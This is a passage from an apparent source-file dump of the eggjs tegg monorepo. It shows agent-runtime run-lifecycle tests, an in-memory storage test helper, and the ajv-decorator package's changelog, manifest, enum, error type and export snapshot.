assert.deepStrictEqual(snap.config, { maxIterations: 10 });\n    });\n\n    it('should restore failed state with lastError', () => {\n      const record = makeRunRecord({\n        status: RunStatus.Failed,\n        startedAt: 1001,\n        failedAt: 1003,\n        lastError: { code: 'EXEC_ERROR', message: 'boom' },\n      });\n      const snap = RunBuilder.create(record, 'thread_1').snapshot();\n\n      assert.equal(snap.status, RunStatus.Failed);\n      assert.equal(snap.failedAt, 1003);\n      assert.deepStrictEqual(snap.lastError, { code: 'EXEC_ERROR', message: 'boom' });\n    });\n  });\n\n  describe('start', () => {\n    it('should transition queued → in_progress', () => {\n      const rb = RunBuilder.create(makeRunRecord(), 'thread_1');\n      const update = rb.start();\n\n      assert.equal(update.status, RunStatus.InProgress);\n      assert.equal(typeof update.startedAt, 'number');\n      assert.equal(rb.snapshot().status, RunStatus.InProgress);\n    });\n\n    it('should throw for non-queued status', () => {\n      const rb = RunBuilder.create(makeRunRecord({ status: RunStatus.InProgress }), 'thread_1');\n      assert.throws(() => rb.start(), InvalidRunStateTransitionError);\n    });\n  });\n\n  describe('complete', () => {\n    it('should transition in_progress → completed with output and usage', () => {\n      const rb = RunBuilder.create(makeRunRecord(), 'thread_1');\n      rb.start();\n\n      const output: MessageObject[] = [\n        { id: 'msg_1', object: 'thread.message', createdAt: 1001, role: 'assistant', status: 'completed', content: [] },\n      ];\n      const usage: RunUsage = { promptTokens: 10, completionTokens: 5, totalTokens: 15 };\n      const update = rb.complete(output, usage);\n\n      assert.equal(update.status, RunStatus.Completed);\n      assert.equal(typeof update.completedAt, 'number');\n      assert.deepStrictEqual(update.usage, {\n        promptTokens: 10,\n        completionTokens: 5,\n        totalTokens: 15,\n      });\n      assert.equal(update.output, output);\n\n      const snap = rb.snapshot();\n      assert.equal(snap.status, RunStatus.Completed);\n      assert.deepStrictEqual(snap.usage, {\n        promptTokens: 10,\n        completionTokens: 5,\n        totalTokens: 15,\n      });\n    });\n\n    it('should complete without usage', () => {\n      const rb = RunBuilder.create(makeRunRecord(), 'thread_1');\n      rb.start();\n\n      const update = rb.complete([]);\n      assert.equal(update.status, RunStatus.Completed);\n      assert.equal(update.usage, undefined);\n\n      const snap = rb.snapshot();\n      assert.equal(snap.usage, null);\n    });\n\n    it('should throw for non-in_progress status', () => {\n      const rb = RunBuilder.create(makeRunRecord(), 'thread_1');\n      assert.throws(() => rb.complete([]), InvalidRunStateTransitionError);\n    });\n  });\n\n  describe('fail', () => {\n    it('should transition in_progress → failed with error', () => {\n      const rb = RunBuilder.create(makeRunRecord(), 'thread_1');\n      rb.start();\n\n      const update = rb.fail(new Error('something broke'));\n      assert.equal(update.status, RunStatus.Failed);\n      assert.equal(typeof update.failedAt, 'number');\n      assert.deepStrictEqual(update.lastError, {\n        code: AgentErrorCode.ExecError,\n        message: 'something broke',\n      });\n\n      const snap = rb.snapshot();\n      assert.equal(snap.status, RunStatus.Failed);\n    });\n\n    it('should allow failing from queued status', () => {\n      const rb = RunBuilder.create(makeRunRecord(), 'thread_1');\n      const update = rb.fail(new Error('early failure'));\n      assert.equal(update.status, RunStatus.Failed);\n    });\n\n    it('should throw for terminal status', () => {\n      const rb = RunBuilder.create(makeRunRecord({ status: RunStatus.Completed }), 'thread_1');\n      assert.throws(() => rb.fail(new Error('nope')), InvalidRunStateTransitionError);\n    });\n  });\n\n  describe('cancelling', () => {\n    it('should transition in_progress → cancelling', () => {\n      const rb = RunBuilder.create(makeRunRecord(), 'thread_1');\n      rb.start();\n\n      const update = rb.cancelling();\n      assert.equal(update.status, RunStatus.Cancelling);\n      assert.equal(rb.snapshot().status, RunStatus.Cancelling);\n    });\n\n    it('should transition queued → cancelling', () => {\n      const rb = RunBuilder.create(makeRunRecord(), 'thread_1');\n      const update = rb.cancelling();\n      assert.equal(update.status, RunStatus.Cancelling);\n    });\n\n    it('should be idempotent when already cancelling', () => {\n      const rb = RunBuilder.create(makeRunRecord(), 'thread_1');\n      rb.start();\n      rb.cancelling();\n      const update = rb.cancelling();\n      assert.equal(update.status, RunStatus.Cancelling);\n    });\n\n    it('should throw for terminal status', () => {\n      const rb = RunBuilder.create(makeRunRecord({ status: RunStatus.Completed }), 'thread_1');\n      assert.throws(() => rb.cancelling(), InvalidRunStateTransitionError);\n    });\n  });\n\n  describe('cancel', () => {\n    it('should transition cancelling → cancelled', () => {\n      const rb = RunBuilder.create(makeRunRecord(), 'thread_1');\n      rb.start();\n      rb.cancelling();\n\n      const update = rb.cancel();\n      assert.equal(update.status, RunStatus.Cancelled);\n      assert.equal(typeof update.cancelledAt, 'number');\n\n      const snap = rb.snapshot();\n      assert.equal(snap.status, RunStatus.Cancelled);\n      assert.equal(typeof snap.cancelledAt, 'number');\n    });\n\n    it('should throw when not in cancelling status', () => {\n      const rb = RunBuilder.create(makeRunRecord(), 'thread_1');\n      rb.start();\n      assert.throws(() => rb.cancel(), InvalidRunStateTransitionError);\n    });\n  });\n\n  describe('full lifecycle', () => {\n    it('should support queued → in_progress → completed', () => {\n      const rb = RunBuilder.create(makeRunRecord(), 'thread_1');\n      assert.equal(rb.snapshot().status, RunStatus.Queued);\n\n      rb.start();\n      assert.equal(rb.snapshot().status, RunStatus.InProgress);\n\n      rb.complete([], { promptTokens: 1, completionTokens: 2, totalTokens: 3 });\n      const snap = rb.snapshot();\n      assert.equal(snap.status, RunStatus.Completed);\n      assert.ok(snap.startedAt);\n      assert.ok(snap.completedAt);\n    });\n\n    it('should support queued → in_progress → cancelling → cancelled', () => {\n      const rb = RunBuilder.create(makeRunRecord(), 'thread_1');\n      rb.start();\n      rb.cancelling();\n      rb.cancel();\n      assert.equal(rb.snapshot().status, RunStatus.Cancelled);\n    });\n\n    it('should support queued → in_progress → failed', () => {\n      const rb = RunBuilder.create(makeRunRecord(), 'thread_1');\n      rb.start();\n      rb.fail(new Error('err'));\n      assert.equal(rb.snapshot().status, RunStatus.Failed);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/agent-runtime/test/helpers.ts",
    "content": "import type { ObjectStorageClient } from '@eggjs/tegg-types/agent-runtime';\n\n/** In-memory ObjectStorageClient backed by a Map — for testing only. */\nexport class MapStorageClient implements ObjectStorageClient {\n  private readonly store = new Map<string, string>();\n  init?(): Promise<void>;\n  destroy?(): Promise<void>;\n\n  async put(key: string, value: string): Promise<void> {\n    this.store.set(key, value);\n  }\n\n  async get(key: string): Promise<string | null> {\n    return this.store.get(key) ?? null;\n  }\n\n  async append(key: string, value: string): Promise<void> {\n    const existing = this.store.get(key) ?? '';\n    this.store.set(key, existing + value);\n  }\n}\n\n/** MapStorageClient variant without append — tests the get-concat-put fallback path. */\nexport class MapStorageClientWithoutAppend implements ObjectStorageClient {\n  private readonly store = new Map<string, string>();\n  init?(): Promise<void>;\n  destroy?(): Promise<void>;\n\n  async put(key: string, value: string): Promise<void> {\n    this.store.set(key, value);\n  }\n\n  async get(key: string): Promise<string | null> {\n    return this.store.get(key) ?? null;\n  }\n}\n"
  },
  {
    "path": "tegg/core/agent-runtime/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/agent-runtime/vitest.config.ts",
    "content": "import { defineProject, type UserWorkspaceConfig } from 'vitest/config';\n\nconst config: UserWorkspaceConfig = defineProject({});\n\nexport default config;\n"
  },
  {
    "path": "tegg/core/ajv-decorator/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/ajv-decorator\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n\n### Features\n\n* impl ajv + typebox Validator ([#201](https://github.com/eggjs/tegg/issues/201)) ([9fd585d](https://github.com/eggjs/tegg/commit/9fd585de9b613466c96b73494a08a494db34ea57))\n"
  },
  {
    "path": "tegg/core/ajv-decorator/README.md",
    "content": "# `@eggjs/ajv-decorator`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/ajv-decorator.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/ajv-decorator.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/ajv-decorator\n[snyk-image]: https://snyk.io/test/npm/@eggjs/ajv-decorator/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/ajv-decorator\n[download-image]: https://img.shields.io/npm/dm/@eggjs/ajv-decorator.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/ajv-decorator\n\n## Usage\n\nPlease read [@eggjs/ajv-plugin](../../plugin/ajv/README.md)\n"
  },
  {
    "path": "tegg/core/ajv-decorator/package.json",
    "content": "{\n  \"name\": \"@eggjs/ajv-decorator\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg ajv decorator\",\n  \"keywords\": [\n    \"ajv\",\n    \"decorator\",\n    \"egg\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/ajv-decorator\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/ajv-decorator\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"ajv\": \"catalog:\",\n    \"typebox\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/ajv-decorator/src/enum/TransformEnum.ts",
    "content": "/**\n * This keyword allows a string to be modified during validation.\n * This keyword applies only to strings. If the data is not a string, the transform keyword is ignored.\n * @see https://github.com/ajv-validator/ajv-keywords?tab=readme-ov-file#transform\n */\nexport const TransformEnum = {\n  /** remove whitespace from start and end */\n  trim: 'trim',\n  /** remove whitespace from start */\n  trimStart: 'trimStart',\n  /**\n   * @alias trimStart\n   */\n  trimLeft: 'trimLeft',\n  /** remove whitespace from end */\n  trimEnd: 'trimEnd',\n  /**\n   * @alias trimEnd\n   */\n  trimRight: 'trimRight',\n  /** convert to lower case */\n  toLowerCase: 'toLowerCase',\n  /** convert to upper case */\n  toUpperCase: 'toUpperCase',\n  /**\n   * change string case to be equal to one of `enum` values in the schema\n   *\n   * **NOTE**: requires that all allowed values are unique when case insensitive\n   * ```ts\n   * const schema = {\n   *   type: \"array\",\n   *   items: {\n   *     type: \"string\",\n   *     transform: [\"trim\", Transform.toEnumCase],\n   *     enum: [\"pH\"],\n   *   },\n   * };\n   *\n   * const data = [\"ph\", \" Ph\", \"PH\", \"pH \"];\n   * ajv.validate(schema, data);\n   * console.log(data) // ['pH','pH','pH','pH'];\n   * ```\n   */\n  toEnumCase: 'toEnumCase',\n};\n\nexport type TransformEnum = (typeof TransformEnum)[keyof typeof TransformEnum];\n"
  },
  {
    "path": "tegg/core/ajv-decorator/src/enum/index.ts",
    "content": "export * from './TransformEnum.ts';\n"
  },
  {
    "path": "tegg/core/ajv-decorator/src/error/AjvInvalidParamError.ts",
    "content": "import { type ErrorObject } from 'ajv/dist/2019.js';\n\nexport interface AjvInvalidParamErrorOptions {\n  errorData: unknown;\n  currentSchema: string;\n  errors: ErrorObject[];\n}\n\nexport class AjvInvalidParamError extends Error {\n  errorData: unknown;\n  currentSchema: string;\n  errors: ErrorObject[];\n\n  constructor(message: string, options: AjvInvalidParamErrorOptions) {\n    super(message);\n    this.name = this.constructor.name;\n    this.errorData = options.errorData;\n    this.currentSchema = options.currentSchema;\n    this.errors = options.errors;\n    Error.captureStackTrace(this, this.constructor);\n  }\n}\n"
  },
  {
    "path": "tegg/core/ajv-decorator/src/error/index.ts",
    "content": "export * from './AjvInvalidParamError.ts';\n"
  },
  {
    "path": "tegg/core/ajv-decorator/src/index.ts",
    "content": "export * from 'typebox';\nexport * from './enum/index.ts';\nexport * from './error/index.ts';\nexport * from './type/index.ts';\n"
  },
  {
    "path": "tegg/core/ajv-decorator/src/type/Ajv.ts",
    "content": "import type { Schema } from 'ajv/dist/2019.js';\n\nexport interface Ajv {\n  validate(schema: Schema, data: unknown): void;\n}\n"
  },
  {
    "path": "tegg/core/ajv-decorator/src/type/index.ts",
    "content": "export * from './Ajv.ts';\n"
  },
  {
    "path": "tegg/core/ajv-decorator/test/TransformEnum.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it } from 'vitest';\n\nimport { TransformEnum } from '../src/index.js';\n\ndescribe('core/ajv-decorator/test/TransformEnum.test.ts', () => {\n  it('should get TransformEnum', () => {\n    assert.equal(TransformEnum.trim, 'trim');\n  });\n});\n"
  },
  {
    "path": "tegg/core/ajv-decorator/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"AjvInvalidParamError\": [Function],\n  \"Any\": [Function],\n  \"Array\": [Function],\n  \"ArrayOptions\": [Function],\n  \"AsyncIterator\": [Function],\n  \"AsyncIteratorOptions\": [Function],\n  \"Awaited\": [Function],\n  \"AwaitedDeferred\": [Function],\n  \"AwaitedInstantiate\": [Function],\n  \"Base\": [Function],\n  \"BigInt\": [Function],\n  \"BigIntPattern\": \"-?(?:0|[1-9][0-9]*)n\",\n  \"Boolean\": [Function],\n  \"Broaden\": [Function],\n  \"Call\": [Function],\n  \"CallConstruct\": [Function],\n  \"Capitalize\": [Function],\n  \"CapitalizeDeferred\": [Function],\n  \"CapitalizeInstantiate\": [Function],\n  \"Codec\": [Function],\n  \"CollapseToObject\": [Function],\n  \"Compare\": [Function],\n  \"Composite\": [Function],\n  \"Conditional\": [Function],\n  \"ConditionalDeferred\": [Function],\n  \"ConditionalInstantiate\": [Function],\n  \"Constructor\": [Function],\n  \"ConstructorOptions\": [Function],\n  \"ConstructorParameters\": [Function],\n  \"ConstructorParametersDeferred\": [Function],\n  \"ConstructorParametersInstantiate\": [Function],\n  \"ConvertToIntegerKey\": [Function],\n  \"Cyclic\": [Function],\n  \"CyclicCandidates\": [Function],\n  \"CyclicCheck\": [Function],\n  \"CyclicDependencies\": [Function],\n  \"CyclicExtends\": [Function],\n  \"CyclicOptions\": [Function],\n  \"CyclicTarget\": [Function],\n  \"Decode\": [Function],\n  \"DecodeBuilder\": [Function],\n  \"Deferred\": [Function],\n  \"Distribute\": [Function],\n  \"Encode\": [Function],\n  \"EncodeBuilder\": [Function],\n  \"Enum\": [Function],\n  \"EnumToUnion\": [Function],\n  \"EnumValuesToUnion\": [Function],\n  \"EnumValuesToVariants\": [Function],\n  \"Evaluate\": [Function],\n  \"EvaluateDeferred\": [Function],\n  \"EvaluateInstantiate\": [Function],\n  \"EvaluateIntersect\": [Function],\n  \"EvaluateType\": [Function],\n  \"EvaluateUnion\": [Function],\n  \"Exclude\": [Function],\n  \"ExcludeDeferred\": [Function],\n  \"ExcludeInstantiate\": [Function],\n  \"Extends\": [Function],\n  \"ExtendsResult\": {\n    \"ExtendsFalse\": [Function],\n    \"ExtendsTrue\": [Function],\n    \"ExtendsUnion\": [Function],\n    \"IsExtendsFalse\": [Function],\n    \"IsExtendsTrue\": [Function],\n    \"IsExtendsTrueLike\": [Function],\n    \"IsExtendsUnion\": [Function],\n  },\n  \"Extract\": [Function],\n  \"ExtractDeferred\": [Function],\n  \"ExtractInstantiate\": [Function],\n  \"Flatten\": [Function],\n  \"Function\": [Function],\n  \"FunctionOptions\": [Function],\n  \"Generic\": [Function],\n  \"Identifier\": [Function],\n  \"Immutable\": [Function],\n  \"ImmutableAdd\": [Function],\n  \"ImmutableRemove\": [Function],\n  \"Index\": [Function],\n  \"IndexDeferred\": [Function],\n  \"IndexInstantiate\": [Function],\n  \"Infer\": [Function],\n  \"InstanceType\": [Function],\n  \"InstanceTypeDeferred\": [Function],\n  \"InstanceTypeImmediate\": [Function],\n  \"InstanceTypeInstantiate\": [Function],\n  \"Instantiate\": [Function],\n  \"InstantiateCyclic\": [Function],\n  \"Integer\": [Function],\n  \"IntegerKey\": \"^-?(?:0|[1-9][0-9]*)$\",\n  \"IntegerPattern\": \"-?(?:0|[1-9][0-9]*)\",\n  \"Interface\": [Function],\n  \"InterfaceDeferred\": [Function],\n  \"InterfaceInstantiate\": [Function],\n  \"Intersect\": [Function],\n  \"IntersectOptions\": [Function],\n  \"InvalidLiteralValue\": [Function],\n  \"IsAny\": [Function],\n  \"IsArray\": [Function],\n  \"IsAsyncIterator\": [Function],\n  \"IsBase\": [Function],\n  \"IsBigInt\": [Function],\n  \"IsBoolean\": [Function],\n  \"IsCall\": [Function],\n  \"IsCodec\": [Function],\n  \"IsConstructor\": [Function],\n  \"IsCyclic\": [Function],\n  \"IsDeferred\": [Function],\n  \"IsEnum\": [Function],\n  \"IsFunction\": [Function],\n  \"IsGeneric\": [Function],\n  \"IsIdentifier\": [Function],\n  \"IsImmutable\": [Function],\n  \"IsInfer\": [Function],\n  \"IsInteger\": [Function],\n  \"IsInterfaceDeferred\": [Function],\n  \"IsIntersect\": [Function],\n  \"IsIterator\": [Function],\n  \"IsKind\": [Function],\n  \"IsLiteral\": [Function],\n  \"IsLiteralBigInt\": [Function],\n  \"IsLiteralBoolean\": [Function],\n  \"IsLiteralNumber\": [Function],\n  \"IsLiteralString\": [Function],\n  \"IsLiteralValue\": [Function],\n  \"IsNever\": [Function],\n  \"IsNull\": [Function],\n  \"IsNumber\": [Function],\n  \"IsObject\": [Function],\n  \"IsOptional\": [Function],\n  \"IsOptionalAddAction\": [Function],\n  \"IsOptionalRemoveAction\": [Function],\n  \"IsParameter\": [Function],\n  \"IsPromise\": [Function],\n  \"IsReadonly\": [Function],\n  \"IsReadonlyAddAction\": [Function],\n  \"IsReadonlyRemoveAction\": [Function],\n  \"IsRecord\": [Function],\n  \"IsRef\": [Function],\n  \"IsRefine\": [Function],\n  \"IsRest\": [Function],\n  \"IsSchema\": [Function],\n  \"IsString\": [Function],\n  \"IsSymbol\": [Function],\n  \"IsTemplateLiteral\": [Function],\n  \"IsThis\": [Function],\n  \"IsTuple\": [Function],\n  \"IsTypeScriptEnumLike\": [Function],\n  \"IsUndefined\": [Function],\n  \"IsUnion\": [Function],\n  \"IsUnknown\": [Function],\n  \"IsUnsafe\": [Function],\n  \"IsVoid\": [Function],\n  \"Iterator\": [Function],\n  \"IteratorOptions\": [Function],\n  \"KeyOf\": [Function],\n  \"KeyOfAction\": [Function],\n  \"KeyOfDeferred\": [Function],\n  \"KeyOfImmediate\": [Function],\n  \"KeyOfInstantiate\": [Function],\n  \"KeysToIndexer\": [Function],\n  \"Literal\": [Function],\n  \"LiteralTypeName\": [Function],\n  \"Lowercase\": [Function],\n  \"LowercaseDeferred\": [Function],\n  \"LowercaseInstantiate\": [Function],\n  \"Mapped\": [Function],\n  \"MappedDeferred\": [Function],\n  \"MappedInstantiate\": [Function],\n  \"Module\": [Function],\n  \"ModuleDeferred\": [Function],\n  \"ModuleInstantiate\": [Function],\n  \"Narrow\": [Function],\n  \"Never\": [Function],\n  \"NeverPattern\": \"(?!)\",\n  \"NonNullable\": [Function],\n  \"NonNullableDeferred\": [Function],\n  \"NonNullableInstantiate\": [Function],\n  \"Null\": [Function],\n  \"Number\": [Function],\n  \"NumberKey\": \"^-?(?:0|[1-9][0-9]*)(?:.[0-9]+)?$\",\n  \"NumberPattern\": \"-?(?:0|[1-9][0-9]*)(?:.[0-9]+)?\",\n  \"Object\": [Function],\n  \"ObjectOptions\": [Function],\n  \"Omit\": [Function],\n  \"OmitDeferred\": [Function],\n  \"OmitInstantiate\": [Function],\n  \"Optional\": [Function],\n  \"OptionalAdd\": [Function],\n  \"OptionalAddAction\": [Function],\n  \"OptionalRemove\": [Function],\n  \"OptionalRemoveAction\": [Function],\n  \"Options\": [Function],\n  \"OptionsDeferred\": [Function],\n  \"OptionsInstantiate\": [Function],\n  \"Parameter\": [Function],\n  \"Parameters\": [Function],\n  \"ParametersDeferred\": [Function],\n  \"ParametersInstantiate\": [Function],\n  \"ParsePatternIntoTypes\": [Function],\n  \"ParseTemplateIntoTypes\": [Function],\n  \"Partial\": [Function],\n  \"PartialDeferred\": [Function],\n  \"PartialInstantiate\": [Function],\n  \"Pick\": [Function],\n  \"PickDeferred\": [Function],\n  \"PickInstantiate\": [Function],\n  \"Promise\": [Function],\n  \"PromiseOptions\": [Function],\n  \"PropertyKeys\": [Function],\n  \"PropertyValues\": [Function],\n  \"Readonly\": [Function],\n  \"ReadonlyAdd\": [Function],\n  \"ReadonlyAddAction\": [Function],\n  